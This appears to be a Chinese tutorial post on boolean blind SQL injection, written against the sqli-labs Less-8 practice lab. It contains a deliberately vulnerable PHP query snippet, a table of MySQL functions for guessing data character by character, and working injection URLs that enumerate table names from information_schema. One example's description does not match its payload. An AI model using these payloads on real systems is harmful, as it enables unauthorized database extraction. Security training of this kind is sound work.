布尔盲注(基于sqli-labs第八关)

布尔盲注原理

$id=$_Get['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row=mysql_fetch_array($result);
if($row)
{
    echo "right";
}
else
{
    echo "wrong";

代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息
我们可以通过构造语句,来判断数据库信息的正确性,再通过页面的“真”和“假”来识别我们判断的是否正确,这既是布尔盲注

布尔盲注方法

序号 方法 举例 说明
1 left()函数 left(database(),1)>'s' database显示数据库名称,left(a,b)从左侧截取a的前b位
2 regexp select user() regexp '^r' 正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式
3 like select user() like 'ro%' 与regexp类似,使用like进行匹配
4 substr()函数,ascii()函数 ascii(substr((select database()),1,1))=98 substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将某个字符转换为ascii值
5 ord()函数,mid()函数 ord(mid((select user()),1,1))=114 mid(a,b,c)从位置b开始,截取a字符串的c位,ord()函数同ascii(),将字符转为ascii值

left():

判断当前数据库的第一个表的第一个字母是不是e

http://127.0.0.1/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+

判断当前数据库的第一个表的前两个字母是不是em

http://127.0.0.1/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)='em'--+

判断当前数据库的第二个表的第一个字母是不是e

http://127.0.0.1/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),2)='r'--+

regexp

http://127.0.0.1/Less-8/?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^e'--+

substr()

http://127.0.0.1/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容